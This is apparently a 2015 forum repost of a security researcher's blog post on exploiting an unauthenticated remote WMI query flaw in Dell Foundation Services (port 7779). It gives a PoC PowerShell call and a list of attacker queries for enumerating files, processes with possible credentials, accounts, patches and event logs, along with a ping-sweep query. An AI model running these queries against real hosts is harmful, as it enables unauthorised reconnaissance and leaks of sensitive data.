Nytro Posted December 3, 2015 Report Posted December 3, 2015 [h=3]Thoughts on Exploiting a Remote WMI Query Vulnerability[/h]On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained withinDell.Tribbles.Agent.Plugins.SystemInfo.dll.So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez:File listing for a specific directory. e.g. C:\ or search by extensionSELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"SELECT * FROM CIM_DataFile WHERE Extension="xlsx"Process listing (including command-line invocation which could possibly include credentials)SELECT * FROM Win32_ProcessList all servicesSELECT * FROM Win32_ServiceAccount/group enumerationSELECT * FROM Win32_AccountSELECT * FROM Win32_UserAccountSELECT * FROM Win32_GroupSELECT * FROM Win32_LoggedOnUserList startup programs present in the registry and Start MenuSELECT * FROM Win32_StartupCommandOS/Hardware infoSELECT * FROM Win32_BIOSSELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.SELECT * FROM Win32_OperatingSystemHard disk enumerationSELECT * FROM Win32_DiskDriveSELECT * FROM Win32_DiskPartitionSELECT * FROM Win32_LogicalDiskSELECT * FROM Win32_VolumeSELECT * FROM Win32_MountPointList system environment variablesSELECT * FROM Win32_EnvironmentList network devices and configurationsSELECT * FROM Win32_NetworkAdapterSELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPsList mapped sharesSELECT * FROM Win32_ShareObviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:Ping sweep. This could be used to conduct basic internal scanning.SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"Potentially screw with MSI configurations.SELECT * FROM Win32_ProductList installed patches. i.e. See determine which patches are not installed.SELECT * FROM Win32_QuickFixEngineeringDump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!Sursa: http://www.exploit-monday.com/2015/12/thoughts-on-exploiting-remote-wmi-query.html Quote